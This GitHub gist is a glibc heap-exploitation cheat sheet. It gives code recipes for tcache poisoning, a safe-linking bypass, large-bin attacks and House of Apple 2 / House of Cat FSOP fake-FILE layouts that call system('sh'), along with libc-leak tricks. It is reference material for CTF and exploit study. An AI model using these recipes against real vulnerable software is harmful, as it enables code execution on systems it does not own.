Last active
October 1, 2026 11:02
-
-
Save vadim-a-yegorov/83dca15fb655c6cb67e86461df0227b7 to your computer and use it in GitHub Desktop.
glibc ptmalloc exploitation on current glibc - working set (safe-linking tcache poisoning, large-bin attack, House of Apple 2 / Cat FSOP with field recipes), leak sources, targets.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| glibc ptmalloc | |
| chunk = { prev_size; size (low 3 bits A|M|P); data }; free chunk reuses data for fd/bk (+ fd_nextsize/bk_nextsize in large). Bins: fastbin (LIFO single-link fd, <=0x80), tcache (2.26+, 7/bin, next + key at +0x18), unsorted, small (double-link), large (size-sorted). First read: the glibc version. It decides the technique; read it before anything. | |
| LEAKS | |
| - unsorted/small chunk fd or bk -> points into main_arena -> libc base. | |
| - any tcache/fastbin chunk -> heap base (for the safe-linking encode). | |
| - stdout FSOP leak (above) when no free-list leak exists. | |
| TARGETS ON CURRENT GLIBC (hooks gone 2.34) | |
| - FSOP (House of Apple 2 / Cat) — primary, until the Aug-2026 wide-vtable mangle reaches the target. | |
| - __run_exit_handlers / tls_dtor_list — function pointers are PTR_MANGLE'd (rol+xor with the key at fs:[0x30]); need the mangle key via a leak, else these are dead. On a patched-FSOP libc this is the fallback, gated on leaking the TLS key. | |
| - _IO_list_all via large-bin attack -> chained FSOP (the standard arbitrary-write-to-RCE bridge). | |
| OTHER ALLOCATORS (deltas, not ptmalloc — do not assume glibc shapes) | |
| - musl mallocng: meta + group structures, no bins; atexit-pointer target (UNbreakable-2026 route). | |
| - jemalloc (Android/BSD/Firefox): runs/regions/tcache; corrupt region metadata. | |
| - Windows: segment heap + NT heap LFH; _HEAP_ENTRY encoding (xor key). | |
| - macOS libmalloc: nano/tiny/small/large zones; free-list checksum. | |
| The corrupt-metadata -> arbitrary-alloc model carries; the metadata and the checks differ per allocator. | |
| ptmalloc cheat sheet | |
| VERSION | |
| $ ./libc.so.6 | head -1 # "GNU C Library ... release 2.35" | |
| gef> p &main_arena ; p (char)__libc_version | |
| gates: tcache 2.26 | tcache key 2.29 | unsorted-bin-attack dead 2.29 | House-of-Force dead 2.29 | safe-linking 2.32 | __free_hook/__malloc_hook gone 2.34 | |
| INSPECT (pwndbg / gef) | |
| pwndbg> heap ; bins ; tcachebins ; fastbins ; vis_heap_chunks ; find_fake_fast &target | |
| gef> heap chunks ; heap bins ; telescope <chunk> ; search-pattern <addr> | |
| CHUNK | |
| hdr = ptr-0x10 ; size@hdr+8 (low3 = A|M|P) ; fd@ptr ; bk@ptr+8 ; tcache key@ptr+8 ; next@ptr | |
| request r -> chunk = (r+8+0xf)&~0xf, min 0x20 ; tcache idx = (sz-0x20)/0x10 | |
| 1 tcache poison, glibc < 2.32 (how2heap tcache_poisoning.c) | |
| a=malloc(0x78); b=malloc(0x78); free(a); free(b); | |
| b[0]=(size_t)target; // overwrite next (fd) | |
| malloc(0x78); // pops b | |
| size_t *p=malloc(0x78); // == target (arbitrary alloc) | |
| 2 tcache poison, glibc >= 2.32 safe-linking (needs a heap leak) | |
| #define PROTECT(pos,ptr) ( ((size_t)(pos)>>12) ^ (size_t)(ptr) ) | |
| b[0]=PROTECT(b, target); // pos = &chunk holding the fd | |
| 3 tcache double-free, key bypass (glibc >= 2.29) | |
| free(a); a[1]=0; // wipe key at ptr+0x8 (tcache_entry.key) | |
| free(a); // second free accepted -> dup | |
| 4 House of Botcake (bypass tcache dup check, overlap) | |
| for(i=0;i<7;i++) t[i]=malloc(0x100); a=malloc(0x100); b=malloc(0x100); | |
| for(i=0;i<7;i++) free(t[i]); free(a); free(b); free(a); // a: unsorted+tcache | |
| for(i=0;i<7;i++) malloc(0x100); malloc(0x100); // reclaim -> overlap | |
| 5 fastbin dup (glibc >= 2.26 fill tcache first) | |
| for(i=0;i<7;i++){f[i]=malloc(0x38);} for(i=0;i<7;i++)free(f[i]); // flood tcache | |
| free(a); free(b); free(a); // fastbin: a->b->a | |
| x=malloc(0x38); x[0]=(size_t)fake; malloc(0x38); malloc(0x38); // -> fake | |
| 6 leak libc from unsorted fd (any version) | |
| big=malloc(0x420); guard=malloc(0x18); free(big); | |
| size_t leak=big[0]; // fd -> main_arena+N | |
| size_t libc = leak - 0x21ace0; // subtract the version offset (check!) | |
| 7 leak heap base from tcache fd (safe-linking inversion, 2.32+) | |
| a=malloc(0x30); free(a); size_t enc=a[0]; size_t heap=(enc<<12)&~0xfff; // reveal | |
| 8 unsorted-bin attack, glibc < 2.29 (write main_arena to target) | |
| victim->bk = (size_t)(target-0x10); // next malloc of that size writes there | |
| 9 large-bin attack (2.30+). The one steady arbitrary-write on new glibc with no hook. On insert, glibc runs: fwd->bk_nextsize->fd_nextsize = victim. Set the target so that write lands your chunk pointer. how2heap large_bin_attack.c (>=2.30 variant): | |
| // p1 freed into largebin; p2 pending insert, larger | |
| // write a heap/chunk address to an arbitrary target: | |
| p2[ -1 ] = size_matching_same_largebin; // size | |
| p2_chunk->bk_nextsize = (void*)(target - 0x20); // crafted | |
| // next large malloc insert => *(size_t*)target = p2_chunk | |
| Chain: write p2 into _IO_list_all, then FSOP trigger -> RCE (House of Cat). | |
| 10 FSOP House of Apple 2 (2.35; patched 2026-08). Arbitrary write -> RCE with no hook, no stack leak, no GOT. The outer vtable range-check (since 2.24) is passed by keeping a real in-section table; the NESTED wide vtable is unchecked: | |
| fake_file = flat({ | |
| 0x00: b" sh\x00", # _flags; also the system() arg -> "sh" | |
| 0x20: 0, # _IO_write_base = 0 | |
| 0x28: 1, # _IO_write_ptr = 1 (> base -> overflow path taken) | |
| 0x88: writable_addr, # _lock (any valid writable, avoids a hang) | |
| 0xa0: wide_data_addr, # _wide_data | |
| 0xd8: libc.sym._IO_wfile_jumps, # outer vtable (passes the range check) | |
| }) | |
| fake_wide_data = flat({ 0xe0: fake_wide_vtable_addr }) # _wide_data->_wide_vtable (UNCHECKED) | |
| fake_wide_vtable= flat({ 0x68: libc.sym.system }) # [_wide_vtable + 0x68] is called | |
| # trigger: exit() / fflush / any FSOP walk / __malloc_assert | |
| House of Cat variant: largebin-attack _IO_list_all to a fake FILE, drive through _IO_wfile_seekoff -> _IO_wdoallocbuf, call slot at wide_vtable+0xe0. Works 2.24..current (pre Aug-2026 patch). Trigger via FSOP or __malloc_assert even with no exit(). | |
| 11 House of Spirit (free a fake fastbin chunk) | |
| fake[1]=0x40; // size, fastbin range, flags sane | |
| *(size_t*)((char*)&fake[0]+0x40+8)=0x20; // next chunk size sanity | |
| free(&fake[2]); p=malloc(0x30); // p == &fake[2] | |
| 12 House of Einherjar (off-by-one NUL -> backward consolidate) | |
| *(char*)(next_hdr+8)&=~1; // unset prev_inuse of next | |
| *(size_t*)(next_hdr)=fake_prevsize; free(next); // consolidates over fake | |
| 13 House of Force, glibc < 2.29 (top-chunk) | |
| top[1]=(size_t)-1; // top size = huge | |
| malloc((target-0x20)-(size_t)top-0x10); p=malloc(0x30); // p near target | |
| 14 unsafe unlink (modern fd/bk integrity satisfied) | |
| p[0]=0; p[1]=(size_t)(&P-0x18) ... fd=&P-0x18; bk=&P-0x10; // fd->bk==P==bk->fd | |
| 15 overlapping chunks via size overwrite | |
| free(a); a_hdr_size |= bigger; // later malloc of bigger overlaps live b | |
| 16 tcache stashing unlink (smallbin->tcache arbitrary write) | |
| smallbin_victim->bk = (size_t)(target-0x10); // stash writes a value to target | |
| 17 FSOP trigger after 2.34 (hooks gone) — see file-stream-fsop | |
| _IO_list_all = &fake_FILE; // via an arbitrary write | |
| // fake FILE vtable=_IO_wfile_jumps; _wide_data->_wide_vtable->__doallocate=system | |
| exit(0); // flush dispatches it ; rdi = FILE, FILE[0]="/bin/sh" | |
| 18 one_gadget (when a hook/return is controllable) | |
| $ one_gadget ./libc.so.6 // pick a constraint that holds at the call | |
| *hook = libc + og_offset; | |
| 19 __free_hook path, glibc < 2.34 (fastest when present) | |
| write __free_hook = system ; then free(ptr_to_"/bin/sh"); | |
| 20 grooming to adjacency (deterministic placement) | |
| a=malloc(sz); b=malloc(sz); free(a); // b fixed; reuse hole for the target class | |
| // tcache LIFO: last freed is first returned -> order frees to control reuse | |
| 21 leak defeat for ASLR (print an unsorted/tcache fd) — see aslr-defeat-and-leaks | |
| CHANGES | |
| - 2.26 tcache born. Double-free into tcache was free until 2.29. | |
| - 2.29 fixed: unsorted-bin attack (bk check), House of Force (top-size check), classic unlink (fd/bk integrity). ADDS tcache key at chunk+0x18 (double-free detect). | |
| - 2.31 tcache count sanity tightened. | |
| - 2.32 safe-linking: tcache+fastbin fd obfuscated PROTECT_PTR(pos,ptr)=(pos>>12)^ptr. Blind tcache poisoning dies; a heap leak is now mandatory. | |
| - 2.34 fixed: __malloc_hook/__free_hook/__realloc_hook (removed). The endgame moves off hooks to FSOP and exit handlers. Alloc alignment + tcache checks tightened. | |
| - 2.35 House of Apple 2 becomes the general FSOP for heap-to-RCE. | |
| - 2.2026-08 upstream patch (libc-alpha): the wide vtable is now mangled+validated (WIO_demangle_validate_vtable). House of Apple 2 / Cat die on patched glibc — plan a non-FSOP endgame for the newest libc. | |
| NOTES | |
| - glibc 2.35+ tcache-only rarely closes it: need an unsorted leak for safe-linking, then FSOP (not a hook). House of Apple 2 is the current endgame (file-stream-fsop). | |
| - 2.34 removed both hooks AND nerfed __run_exit_handlers (PTR_MANGLE-encrypted) -> an exit-handler overwrite needs the mangle key (leak) or the tls_dtor_list; FSOP is cheaper. | |
| - glibc 2.39+ adds tcache alignment + count checks: a poisoned next must be 16-aligned and the count must stay sane; a mis-aligned target faults with "malloc(): unaligned tcache chunk detected". | |
| - Real heap bugs in latest userland are not CTF double-frees: they are OOB-write into an adjacent chunk header (grow a tcache/fastbin victim's size), UAF via a refcount bug, or a type-confusion between two cached objects. Model those with 14/4. | |
| - Other allocators differ: musl mallocng (meta/group, no bins), jemalloc (size-class runs), Windows LFH/segment heap, macOS libmalloc nano+tiny+small. The model carries; the metadata does not. | |
| - Apple-Silicon / arm64e note: userland libmalloc on arm64e signs return addresses and some data pointers (PAC). An FSOP-equivalent that reaches a signed pointer needs a PAC bypass (see aslr-defeat-and-leaks), so a raw function-pointer overwrite does not fire — target an unsigned data path or a signing oracle instead. | |
| - A "working" House-of from an old writeup will fault on 2.32+ with no heap leak (safe-linking) or on 2.29+ (force/unsorted dead). Check the version first; the error is silent desync, not a clear message. | |
| - House of Apple 2 passes because the outer vtable is real and in-section; the win is the unchecked nested wide vtable, not a fake outer table. Faking the outer table faults. | |
| Sources: shellphish/how2heap (tcache_poisoning.c, large_bin_attack.c, house_of_botcake.c, per-version dirs + changelog); ir0nstone binexp notes; angelboy/roderickchan House of Apple / Apple 2 write-ups; ian.nl HTB "Love Letter" House-of-Apple FSOP (field offsets, glibc 2.35); hello-ctf heap-exploit (fake_file/wide_data/wide_vtable recipe); cnblogs House of Cat; sourceware libc-alpha 2026-August "validate and mangle the wide vtable" (the patch ending House of Apple 2). Code verified against these. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment